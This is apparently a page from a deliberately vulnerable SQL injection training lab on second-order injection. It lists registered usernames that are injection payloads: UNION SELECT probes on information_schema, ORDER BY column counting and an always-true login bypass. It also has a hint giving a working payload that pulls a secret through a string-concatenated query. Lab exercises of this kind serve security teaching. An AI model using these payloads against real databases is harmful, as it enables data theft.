Second-order SQLi

/second-order · sink: stored input -> later string-concatenated SELECT

Registration is parameterized; profile view re-uses stored input unsafely.

1. Register


2. View profile


Recent registrations

idusername
82ali' union select PASSWORD_ERRORS from USERS#
81ali' union select USER from USERS#
80abdo' union select column_name from information_schema.columns where table_name='USERS'#
79ahmed' union select table_name from information_schema.tables#
78ahmed' union select 1#
77ahmed' order by 1#
76ahmed' order by 2#
75ahmed' order by 3#
74ahmed' order by 5#
73ahmed' order by 10#
72ahmed')#
71ahmed')--
69'abdo
68abdo'
67شلايخ
66test' order by 10#
65test' order by 30#
64admin' or '1'='1
62abdo ' union select * from body --
61abdo' AND SELECT * FROM body --
Hint

Register a user whose username is itself a SQL payload, e.g. ' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# (use # not `-- ` because the register handler strips trailing whitespace). Then visit /second-order/profile?id=<your new id> — the profile page joins notes by username via string concatenation, and your stored payload finally fires.

View source → · /meta/second-order